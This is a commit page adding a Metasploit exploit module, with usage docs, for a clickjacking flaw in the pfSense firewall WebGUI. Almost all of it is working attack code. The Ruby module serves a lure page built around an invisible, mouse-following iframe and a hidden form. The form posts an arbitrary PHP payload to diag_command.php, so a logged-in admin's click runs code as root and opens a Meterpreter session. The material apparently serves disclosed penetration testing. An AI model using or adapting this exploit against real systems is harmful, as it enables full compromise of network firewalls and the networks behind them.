Skip to content

Commit 916ee05

Browse files
committed
Add exploit module for Clickjacking vulnerability in CSRF error page pfSense
1 parent 879db5c commit 916ee05

File tree

2 files changed

+138
-0
lines changed

2 files changed

+138
-0
lines changed
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
## Vulnerable Application
2+
3+
This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.
4+
5+
## Vulnerable Setup
6+
7+
The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possible the WebGUI's TLS certificate must be trusted in the browser.
8+
9+
## Verification Steps
10+
11+
1. `use exploit/unix/http/pfsense_clickjacking`
12+
2. `set TARGETURI https://<ip WebGUI>`
13+
3. `exploit`
14+
4. Browse to the URL return by MSF
15+
5. Click anywhere on the returned page
16+
6. Note that a new Meterpreter sessions was started.
17+
18+
19+
## Options
20+
21+
**TARGETURI**
22+
23+
The base path of the WebGUI. The default base path is https://192.168.1.1/
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::HttpServer::HTML
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
16+
'Description' => %q{
17+
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
18+
19+
pfSense is a free and open source firewall and router. It was found that the
20+
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
21+
into interacting with a specially crafted webpage it is possible for an attacker
22+
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
23+
this will result in a full compromise of the pfSense instance.
24+
},
25+
'Author' => 'Yorick Koster',
26+
'Payload' => { 'BadChars' => '"' },
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['URL', 'https://acc.securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
31+
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
32+
],
33+
'DefaultOptions' =>
34+
{
35+
'EXITFUNC' => 'process'
36+
},
37+
'Arch' => ARCH_PHP,
38+
'Platform' => 'php',
39+
'Targets' =>
40+
[
41+
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
42+
],
43+
'DefaultTarget' => 0,
44+
'DisclosureDate' => 'Mon Day Year'
45+
)
46+
)
47+
48+
register_options(
49+
[
50+
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
51+
]
52+
)
53+
end
54+
55+
def on_request_uri(cli, request)
56+
if datastore['TARGETURI'].end_with? '/'
57+
url = datastore['TARGETURI'] + 'diag_command.php'
58+
else
59+
url = datastore['TARGETURI'] + '/diag_command.php'
60+
end
61+
framename = rand_text_alpha(16)
62+
divname = rand_text_alpha(16)
63+
resp = create_response(200, "OK")
64+
resp.body = %Q|<!DOCTYPE html>
65+
<html>
66+
<meta charset="utf-8">
67+
<link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.3/cookieconsent.min.css" />
68+
<script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.0.3/cookieconsent.min.js"></script>
69+
<script>
70+
window.addEventListener("load", function(){
71+
window.cookieconsent.initialise({
72+
"palette": {
73+
"popup": {
74+
"background": "#000",
75+
"text": "#0f0"
76+
},
77+
"button": {
78+
"background": "#0f0"
79+
}
80+
},
81+
"position": "top",
82+
"static": true
83+
});
84+
});
85+
</script>
86+
<script>
87+
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
88+
window.addEventListener('load', function(){
89+
document.forms[0].post.click();
90+
document.onmousemove = function(e) {
91+
var e = e \|\| window.event;
92+
var s = document.getElementById('#{divname}');
93+
s.style.left = (e.clientX - 10) + 'px';
94+
s.style.top = (e.clientY - 5) + 'px';
95+
};
96+
});
97+
</script>
98+
<body style="background-image:url(https://static.pexels.com/photos/1445/blur-river-blurred-background.jpg);background-size:cover;">
99+
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
100+
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
101+
</div>
102+
<div style="display:none">
103+
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
104+
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
105+
<input type="hidden" name="submit" value="EXECPHP" />
106+
<input type="submit" name="post"/>
107+
</form>
108+
</div>
109+
</body>
110+
</html>
111+
|
112+
resp['Content-Type'] = 'text/html'
113+
cli.send_response(resp)
114+
end
115+
end

0 commit comments

Comments
 (0)